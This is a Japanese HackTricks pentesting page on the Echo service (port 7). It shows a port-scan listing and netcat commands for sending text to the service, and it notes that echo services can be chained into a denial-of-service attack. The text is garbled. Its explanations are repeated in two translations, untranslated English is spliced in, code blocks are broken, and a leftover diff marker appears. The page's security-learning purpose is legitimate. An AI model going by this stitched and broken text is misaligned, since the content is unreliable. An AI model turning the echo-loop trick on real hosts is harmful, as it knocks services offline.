- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングテクニックを共有する。
</details>
# 基本情報
このホストでエコーサービスが実行されています。エコーサービスはテストと計測のために設計されており、TCPおよびUDPプロトコルの両方でリッスンすることがあります。サーバーは受信したデータを変更せずに送り返します。\
**同じマシンまたは別のマシンのエコーサービスに接続することで、サービス拒否攻撃を引き起こすことが可能です**。影響を受けるマシンは、生成されるパケットの数が極端に多いため、実質的にサービスを停止させられる可能性があります。\
情報元:[https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
このホストでエコーサービスが実行されています。エコーサービスはテストと測定の目的で意図されており、TCPとUDPの両方のプロトコルでリッスンする可能性があります。サーバーは受信したデータを変更せずに送り返します。\
**同じマシンまたは別のマシンのエコーサービスに接続することでサービス拒否を引き起こす可能性があります**。生成されるパケットの数が過剰に多いため、影響を受けるマシンは実質的にサービスから外れる可能性があります。\
情報源 [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
**デフォルトポート:** 7/tcp/udp
**デフォルトポート:** 7/tcp/udp
```
```
PORT STATE SERVICE
7/udp open echo
7/tcp open echo
```
## Echoサービスへの接続UDP
The Echo service is a simple network service that allows a client to send a message to a server, which then echoes the message back to the client. This service is commonly used for testing and debugging purposes.
To contact the Echo service using UDP, you can use the `nc` command with the `-u` flag followed by the IP address and port number of the server. For example:
```
nc -u <server_ip> <port_number>
```
Replace `<server_ip>` with the IP address of the server running the Echo service, and `<port_number>` with the port number on which the service is listening.
Once connected, you can type a message and press Enter to send it to the server. The server will then echo the message back to you.
It's important to note that the Echo service is often disabled or restricted in production environments due to security concerns. Therefore, it's recommended to only use this service for testing and debugging purposes in controlled environments.
## Echoサービスに接触UDP
```bash
nc -uvn <IP> 7
Hello echo #This is wat you send
@ -53,23 +39,21 @@ Hello echo #This is the response
# 参考文献
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO_protocol)
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**するか、[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>